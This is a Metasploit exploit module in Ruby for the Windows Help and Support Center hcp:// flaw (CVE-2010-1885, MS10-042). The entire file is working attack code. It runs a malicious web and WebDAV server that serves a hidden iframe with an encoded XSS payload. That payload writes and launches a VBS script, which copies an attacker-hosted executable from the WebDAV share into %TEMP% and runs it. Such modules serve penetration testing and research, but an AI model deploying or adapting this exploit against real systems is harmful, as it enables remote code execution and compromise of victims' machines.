Microsoft Help Center XSS and Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  #
  # This module acts as an HTTP server
  #
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'	=> 'Microsoft Help Center XSS and Command Execution',
        'Description'	=> %q{
          Help and Support Center is the default application provided to access online
          documentation for Microsoft Windows. Microsoft supports accessing help documents
          directly via URLs by installing a protocol handler for the scheme "hcp". Due to
          an error in validation of input to hcp:// combined with a local cross site
          scripting vulnerability and a specialized mechanism to launch the XSS trigger,
          arbitrary command execution can be achieved.

          On IE7 on XP SP2 or SP3, code execution is automatic. If WMP9 is installed, it
          can be used to launch the exploit automatically. If IE8 and WMP11, either can
          be used to launch the attack, but both pop dialog boxes asking the user if
          execution should continue. This exploit detects if non-intrusive mechanisms are
          available and will use one if possible. In the case of both IE8 and WMP11, the
          exploit defaults to using an iframe on IE8, but is configurable by setting the
          DIALOGMECH option to "none" or "player".

          This module creates a WebDAV service from which the payload is copied to the
          victim machine.
        },
        'Author' => [
          'Tavis Ormandy', # Original discovery
          'natron' # Metasploit version
        ],
        'License'	=> MSF_LICENSE,
        'References' => [
          [ 'CVE', '2010-1885' ],
          [ 'OSVDB', '65264' ],
          [ 'MSB', 'MS10-042']
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
        },
        'Payload' => {
          'Space'	=> 2048,
        },
        'Platform'	=> 'win',
        'Targets' => [
          [ 'Automatic',	{} ]
        ],
        'DisclosureDate' => '2010-06-09',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]),
        OptString.new('URIPATH', [ true, "The URI to use (do not change).", "/" ]),
        OptString.new('DIALOGMECH', [ true, "IE8/WMP11 trigger mechanism (none, iframe, or player).", "iframe"])
      ]
    )

    deregister_options('SSL', 'SSLVersion') # Just for now
  end

  def on_request_uri(cli, request)
    # If there is no subdirectory in the request, we need to redirect.
    if (request.uri == '/') or not (request.uri =~ /\/[^\/]+\//)
      if (request.uri == '/')
        subdir = '/' + rand_text_alphanumeric(8 + rand(8)) + '/'
      else
        subdir = request.uri + '/'
      end
      print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")
      send_redirect(cli, subdir)
      return
    end

    case request.method
    when 'OPTIONS'
      process_options(cli, request)
    when 'PROPFIND'
      process_propfind(cli, request)
    when 'GET'
      process_get(cli, request)
    else
      print_error("Unexpected request method encountered: #{request.method}")
    end
  end

  def process_get(cli, request)
    @my_host = srvhost_addr
    webdav_loc = "\\\\#{@my_host}\\#{@random_dir}\\#{@payload}"
    @url_base = "http://" + @my_host

    if (Regexp.new(Regexp.escape(@payload) + '$', Regexp::IGNORECASE).match(request.uri))
      print_status "Sending payload executable to target ..."
      return if ((p = regenerate_payload(cli)) == nil)

      data = generate_payload_exe({ :code => p.encoded })

      send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
      return
    end

    if request.uri.match(/\.gif$/)
      # "world's smallest gif"
      data = "GIF89a\x01\x00\x01\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00!\xF9\x04\x01"
      data += "\x00\x00\x00\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;"
      print_status "Sending gif image to WMP"
      send_response(cli, data, { 'Content-TYpe' => 'image/gif' })
    end

    # ASX Request Inbound
    if request.uri.match(/\.asx$/)
      asx = %Q|<ASX VERSION="3.0">
<PARAM name="HTMLView" value="URLBASE/STARTHELP"/>
<ENTRY>
  <REF href="URLBASE/IMGFILE"/>
</ENTRY>
</ASX>
|
      asx.gsub!(/URLBASE/, @url_base)
      asx.gsub!(/STARTHELP/, @random_dir + "/" + @start_help)
      asx.gsub!(/IMGFILE/, @random_dir + "/" + @img_file)
      print_status("Sending asx file")
      send_response(cli, asx, { 'Content-Type' => 'text/html' })
      return
    end

    # iframe request inbound from either WMP or IE7
    if request.uri.match(/#{@start_help}/)

      help_html = <<~EOS
        <iframe src="hcp://services/search?query=a&topic=hcp://system/sysinfo/sysinfomain.htm%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF..%5C..%5Csysinfomain.htm%u003fsvr=%3Cscript%20defer%3Eeval%28unescape%28%27COMMANDS%27%29%29%3C/script%3E">
      EOS

      rand_vbs	= rand_text_alpha(rand(2) + 1) + ".vbs"
      copy_launch = %Q^cmd /c copy #{webdav_loc} %TEMP% && %TEMP%\\#{@payload}^
      vbs_content = %Q|WScript.CreateObject("WScript.Shell").Run "#{copy_launch}",0,false|
      write_vbs	= %Q|cmd /c echo #{vbs_content}>%TEMP%\\#{rand_vbs}|
      launch_vbs = %Q|cscript %TEMP%\\#{rand_vbs}>nul|
      concat_cmds = "#{write_vbs}|#{launch_vbs}"

      eval_block = "Run(String.fromCharCode(#{convert_to_char_code(concat_cmds)}));"
      eval_block = Rex::Text.uri_encode(Rex::Text.uri_encode(eval_block))
      help_html.gsub!(/COMMANDS/, eval_block)
      print_status("Sending exploit trigger")
      send_response(cli, help_html, { 'Content-Type' => 'text/html' })
      return
    end

    # default initial response
    js = %Q|
var asx = "URLBASE/ASXFILE";
var ifr = "URLBASE/IFRFILE";

function launchiframe(src) {
  var o = document.createElement("IFRAME");
  o.setAttribute("width","0");
  o.setAttribute("height","0");
  o.setAttribute("frameborder","0");
  o.setAttribute("src",src);
  document.body.appendChild(o);
}

if (window.navigator.appName == "Microsoft Internet Explorer") {
  var ua = window.navigator.userAgent;
  var re  = new RegExp("MSIE ([0-9]{1,}[\.0-9]{0,})");
  re.exec(ua)
  ver = parseFloat( RegExp.$1 );

  // if ie8, check WMP version
  if (ver > 7) {
    var o = document.createElement("OBJECT");
    o.setAttribute("classid", "clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6");
    o.setAttribute("uiMode", "invisible");
    // if wmp9, go ahead and launch
    if( parseInt(o.versionInfo) < 10 ) {
      o.openPlayer(asx);
    // if > wmp9, only launch if user requests
    } else {
      DIALOGMECH
    }
  // if ie7, use iframe
  } else {
    launchiframe(ifr);
  }
} else {
  // if other, try iframe
  launchiframe(ifr);
}
|

    html = %Q|<html>
<head></head><body><script>JAVASCRIPTFU
</script>
</body>
</html>
|
    case datastore['DIALOGMECH']
    when "player"
      mech = "o.openPlayer(asx);"
    when "iframe"
      mech = "launchiframe(ifr);"
    when "none"
      mech = ""
    else
      mech = ""
    end

    html.gsub!(/JAVASCRIPTFU/, js)
    html.gsub!(/DIALOGMECH/, mech)
    html.gsub!(/URLBASE/, @url_base)
    html.gsub!(/ASXFILE/, @random_dir + "/" + @asx_file)
    html.gsub!(/IFRFILE/, @random_dir + "/" + @start_help)

    print_status("Sending #{self.name}")

    headers = {
      'Content-Type'	=> 'text/html',
      # 'X-UA-Compatible'	=> 'IE=7'
    }

    send_response(cli, html, headers)
  end

  #
  # OPTIONS requests sent by the WebDav Mini-Redirector
  #
  def process_options(cli, request)
    print_status("Responding to WebDAV OPTIONS request")
    headers = {
      # 'DASL'   => '<DAV:sql>',
      # 'DAV'    => '1, 2',
      'Allow' => 'OPTIONS, GET, PROPFIND',
      'Public' => 'OPTIONS, GET, PROPFIND'
    }
    send_response(cli, '', headers)
  end

  def convert_to_char_code(str)
    return str.unpack('H*')[0].gsub(Regexp.new(".{#{2}}", Regexp::NOENCODING)) { |s| s.hex.to_s + "," }.chop
  end

  #
  # PROPFIND requests sent by the WebDav Mini-Redirector
  #
  def process_propfind(cli, request)
    path = request.uri
    print_status("Received WebDAV PROPFIND request")
    body = ''

    if Regexp.new(Regexp.escape(@payload) + '$', Regexp::IGNORECASE).match(path)
      # Response for the EXE
      print_status("Sending EXE multistatus for #{path} ...")
      # <lp1:getcontentlength>45056</lp1:getcontentlength>
      body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag>
<lp2:executable>F</lp2:executable>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
    elsif (path =~ /\.manifest$/i) or (path =~ /\.config$/i) or (path =~ /\.exe/i)
      print_status("Sending 404 for #{path} ...")
      send_not_found(cli)
      return

    elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
      # Response for anything else (generally just /)
      print_status("Sending directory multistatus for #{path} ...")
      body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|

    else
      print_status("Sending 404 for #{path} ...")
      send_not_found(cli)
      return
    end

    # send the response
    resp = create_response(207, "Multi-Status")
    resp.body = body
    resp['Content-Type'] = 'text/xml'
    cli.send_response(resp)
  end

  def exploit
    @random_dir = rand_text_alpha(rand(2) + 1)
    @asx_file	= rand_text_alpha(rand(2) + 1) + ".asx"
    @start_help	= rand_text_alpha(rand(2) + 1) + ".html"
    @payload	= rand_text_alpha(rand(2) + 1) + ".exe"
    @img_file	= rand_text_alpha(rand(2) + 1) + ".gif"

    if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
      fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
    end

    super
  end
end